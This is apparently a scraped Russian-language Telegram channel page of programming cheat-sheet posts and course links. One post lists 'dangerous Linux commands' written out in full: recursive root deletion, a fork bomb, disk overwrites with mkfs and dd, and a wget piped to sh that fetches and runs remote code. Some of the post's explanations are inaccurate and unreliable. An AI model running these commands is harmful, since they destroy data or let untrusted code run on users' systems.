Шпаргалки программиста
2.46K subscribers
362 photos
16 videos
114 files
151 links
Всё самое интересное по программированию

🌐 Админ @workakkk

https://t.iss.one/itchannels_telegram - список полезных ит-каналов
Download Telegram
This media is not supported in your browser
VIEW IN TELEGRAM
IT GURU - для тех, кто хочет обучаться быстро, продуктивно и бесплатно

- Короткие видеокурсы по всем направлениям разработки
- Полезно-интересные статьи
- Свежие шпаргалки
- Облегчающие работу инструменты

Подписывайся и поглощай нашу пользу ❤️👇
https://t.iss.one/+2taUlZXC_P1mZjli
Node.js: шаблоны проектирования

В этой статье рассматриваются популярные паттерны: Singleton, Observer, Factory и Command. Интересно, как же они работают на реальных проектах? Для более легкого понимания темы автор также добавил сниппеты кода на TypeScript:

https://medium.com/@devhoangkien/design-patterns-in-node-js-a-fun-typescript-adventure-8bf977c2549b

#ts #nodejs
Полное руководство по CSS Grid

CSS Grid — это мощный инструмент в современной веб-разработке, который позволяет создавать динамичные макеты. Благодаря возможности определять строки и столбцы, а затем размещать в них содержимое, CSS Grid предоставляет разработчикам контроль над тем, как отображается содержимое их веб-сайта.

В этом видео автор подробно рассказывает про CSS Grid, свойства, а также как можно использовать возможности CSS Grid для создания красивых, гибких макетов:

https://youtu.be/Pqh1UhslhYA

#css
cheat-sheet-dark.pdf
7.9 MB
Краткий справочник по некоторым наиболее полезным API конфиденциальности в Android, а также рекомендации, которые следует учитывать при разработке своего приложения.

🔗Скачать в светлом режиме
Подборка из 11 опасных команд Linux, которые не стоит запускать на свою компьютере:

rm -rf / — удалит все файлы и папки на вашем компьютере. Не запускайте ее, если не хотите потерять все свои данные;

:(){ :|: & };: — команда, также известная как «fork bomb», может вызвать переполнение памяти на вашем компьютере и привести к аварийному завершению системы;

mkfs.ext4 /dev/sda — форматирует жесткий диск без какого-либо предупреждения или подтверждения. Все данные будут утеряны;

dd if=/dev/random of=/dev/sda — перезапишет все данные на жестком диске случайными значениями, что приведет к потере данных;

chmod 777 / — откроет полный доступ к вашей файловой системе для всех пользователей, что может привести к нарушению безопасности;

mv /home/* /dev/null — переместит все файлы в вашей домашней директории в «null», что означает, что они будут утеряны;

wget https://example.com/file -O /dev/null — загрузит файл и перезапишет все данные в «null», что приведет к потере данных.

mkfs.ext4 /dev/sda1 — форматирует раздел жесткого диска без какого-либо предупреждения или подтверждения. Все данные на этом разделе будут утеряны.

ln -s /dev/null /etc/passwd — создаст символическую ссылку на "/etc/passwd" в "null", что приведет к потере данных.

echo "Hello" > /dev/sda — перезапишите свой раздел, это заменит ваш раздел, содержащий все данные, необходимые для загрузки системы, строкой «Hello»;

wget https://malicious_source -O- | sh — Такие команды будут загружать и запускать в вашей системе вредоносные сценарии, которые могут подорвать безопасность вашей системы.
Подборка готовых запросов для нейронок

AI Prompt Generator – сайт сгенерирует лучший промт по вашему запросу

Stable Diffusion Prompt Generator – лучший генератор для SD

Prompthero – тонна артов с промтами

Midjourney Prompt Generator – тоже генерация промта по вашему запросу только для MJ
✍️ Крутая шпаргалка по Python, охватывает основы языка, включая типы данных, операторы, управляющие структуры, функции, классы, файловый ввод-вывод и многое другое.

С помощью этого руководства вы сможете быстро найти синтаксис и способы использования различных функций и библиотек.

#doc #python #cheatsheet
Please open Telegram to view this post
VIEW IN TELEGRAM
Ловите мощную шпаргалку по ChatGPT
MyJavaScript — полезный ресурс для начинающих фронтенд-разработчиков

На MyJavaScript собраны руководства, шпаргалки, вопросы и другие материалы по JavaScript, TypeScript, React, Next.js, Node.js, Express, Prisma, GraphQL, Docker.

Информация на сайте постоянно обновляется, поэтому вы также можете проверить все обновления и релизы в ЯП. Сохраняйте в закладки, чтобы не потерять:

https://my-js.org/

#фронтенд
Flexbox Zombies — тренажёр для изучения

Любите игры про зомби? В этой игре нужно установить арбалет и пережить атаки зомби в каждом разделе игры с помощью Flexbox. Flexbox Zombies поможет изучить основы и применить их на практике. Сейчас игра бесплатна после небольшой регистрации:

https://mastery.games/flexboxzombies/chapter/1/level/1

#css #web
git_cheatsheet.pdf
641.1 KB
Красивая шпаргалка по GIT с кодом и картинками.
Бесплатный курс по информатике от MIT

На первый взгляд может показаться, что это очередной курс по Java, но это не так. Цель лекций — научить студентов писать качественный, понятный код с использованием лучших практик и тестирования.

Каждый урок подкреплён вопросами для проверки усвоения материала и заданиями:

https://openlearninglibrary.mit.edu/courses/course-v1:MITx+6.005.1x+3T2016/course/

@progersit
SQL-cheat-sheet.pdf
224.9 KB
Подготовьтесь к собеседованиям по SQL, используя SQL Cheatsheet
7 бесплатных курсов для изучения DevOps

1. «DevOps Culture and Mindset» от Калифорнийского университета в Дейвисе

Ссылка

2. «Continuous Delivery & DevOps» от Виргинского университета

Ссылка

3. «Практики и инструменты DevOps» от ITVDN

Ссылка

4. «Курс DevOps» от Игоря Степина

Ссылка

5. « DevOps» от Академии IT

Ссылка

6. «DevOps Fundamentals» от EPAM Training Centre

Ссылка

7. «DevOps Start» от «Школы DevOps»

Ссылка
5 бесплатных курсов от Google, которые нельзя пропускать. От информатики до искусственно интеллекта.

1. Ускоренный курс по машинному обучениюосновы машинного обучения, включает видеолекции от исследователей из Google.

2. Основы Python для анализа данных — программирование на Python.

3. Основы цифрового маркетинга — цифровой маркетинг для бизнеса и карьеры.

4. Введение в Data Science и аналитику — все основы Data Science и Data Science Life Cycle.

5. Создавайте приложения с помощью Flutter — красивые, мобильные и веб-приложения с помощью Flutter.
Шпаргалка по веб-хакингу на Linux.

Могла немного устареть (2019 год, на секундочку), но большая часть все еще актуальна.